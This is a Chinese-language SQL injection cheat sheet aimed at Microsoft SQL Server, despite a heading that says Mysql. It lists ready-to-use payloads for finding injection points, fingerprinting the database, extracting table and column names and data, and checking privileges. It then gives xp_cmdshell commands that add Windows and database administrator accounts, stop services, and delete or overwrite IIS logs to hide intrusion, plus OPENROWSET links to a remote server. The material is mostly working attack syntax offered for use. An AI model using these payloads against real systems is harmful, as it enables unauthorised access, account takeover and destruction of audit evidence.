1、Mysql服务、端口、后缀
1.1、服务
- 重启服务,使其生效:service.msc
1.2、端口
- TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
1.3、后缀
- 1.mdf-----------------数据库文件
- 1_log.ldf-------------数据库日志文件
2、常见语句
2.1、创建数据库
CREATE DATABASE database-name
2.2、删除数据库
drop database dbname
2.3、查询所有
select * from 表名
select * from student
3、mssql数据库权限
- **sa权限:**数据库操作、文件管理、命令执行、注册表读取等system
- **db权限:**文件管理、数据库操作等users-administrators
- **public权限:**数据库操作 guest-users
4、调用数据库代码
<%
set conn = server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>
- provider 后面的不用管,照写
- source 后面的可以是ip地址 local是指本地地址
- sa是内置用户,密码在安装过程中设置(明文显示)
- database后面是要连接的数据库名称
5、注入语句
- 5.1、判断是否有注入
and 1=1
and 1=2
/
-0
- 5.2、初步判断是否是mysql
and user >0
- 5.3、判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access
- 5.4、注入参数
'and [查询条件] and "='
- 5.5、搜索时没过滤参数的
'and [查询条件] and '%25'='
- 5.6、猜数表名
and (select Count(*) from [表名])>0
- 5.7、猜字段
and (select Count(字段名) from 表名)>0
- 5.8、猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0
- 5.9.1、猜字段的ascii值 (access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
- 5.9.2、猜字段的ascii值 (mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
- 5.10、测试权限结构(mssql)
and 1= (select IS_SRVROLEMEMBER('sysadmin'));--
and 1= (select IS_SRVROLEMEMBER('serveradmin'));--
and 1= (select IS_SRVROLEMEMBER('setupadmin'));--
and 1= (select IS_SRVROLEMEMBER('securityadmin'));--
and 1= (select IS_SRVROLEMEMBER('diskadmin'));--
and 1= (select IS_SRVROLEMEMBER('bulkadmin'));--
and 1= (select IS_MEMBER('db_owner'));--
- 5.11、添加mssql和系统的账户
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
exec master.dbo.xp_cmdshell 'net user username password /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
-
5.12、获取数据库信息
5.12.1、数据库版本
?id=1 and 1=(select @@version)
5.12.2、获取第一个用户数据库
?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
5.12.3、获取第一张表 threads
?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
5.12.4、获取第一列列名 uname
?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users'))--
-
5.13、注入点权限判断
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否是public权限
and 1=convert(int,db_name())或1=(select db_name())//当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
6、扩展存储注入攻击
6.1、检测与恢复扩展存储
-
判断xp_cmdshell 扩展存储是否存在
and 1=(select count(*) from master.dbo.sysobjects where xtype='x' AND name='xp_cmdshell')
-
判断xp_regread扩展存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
-
恢复
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
6.2、sa权限下扩展存储注入攻击
-
新建用户
;exec master..xp_cmdshell 'net user test test /add'
exec master..xp_cmdshell 'net localgroup administrators test /add'
-
添加和删除一个SA权限的用户test
exec master.dbo.sp_addlogin test password
exec master.dbo.sp_addsrvrolemember test,sysadmin
-
停掉或激活某个服务
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
6.3、sa权限下扩展存储攻击利用方法
-
删除日志记录
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt'
-
替换日志记录
;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt'
-
开启远程数据库1
;select * from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from table')
-
开启远程数据库2
;select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Adress=202.100.100.1,1433;','select * from table')